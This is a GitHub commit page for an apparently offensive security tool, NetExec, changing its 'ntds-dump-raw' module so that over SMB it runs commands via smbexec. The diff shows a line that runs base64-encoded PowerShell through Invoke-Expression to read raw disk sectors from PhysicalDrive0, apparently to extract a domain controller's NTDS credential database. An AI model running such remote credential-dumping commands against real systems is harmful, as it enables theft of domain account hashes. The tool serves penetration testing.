Skip to content

Commit 75e4656

Browse files
committed
Use smbexec for smb proto as it is the most reliable
1 parent 4fc3d46 commit 75e4656

1 file changed

Lines changed: 3 additions & 1 deletion

File tree

nxc/modules/ntds-dump-raw.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -115,8 +115,10 @@ def read_from_disk(self, offset, size):
115115
# scary base64 powershell code :)
116116
# This to read the PhysicalDrive0 file
117117
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
118-
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
118+
if self.connection.__class__.__name__ == "wmi":
119119
data_output = self.connection.execute_psh(get_data_script, True)
120+
elif self.connection.__class__.__name__ == "smb":
121+
data_output = self.execute(get_data_script, True, ["smbexec"])
120122
else:
121123
data_output = self.execute(get_data_script, True)
122124
self.logger.debug(f"{offset=},{size=},{fixed_size=}")

0 commit comments

Comments
 (0)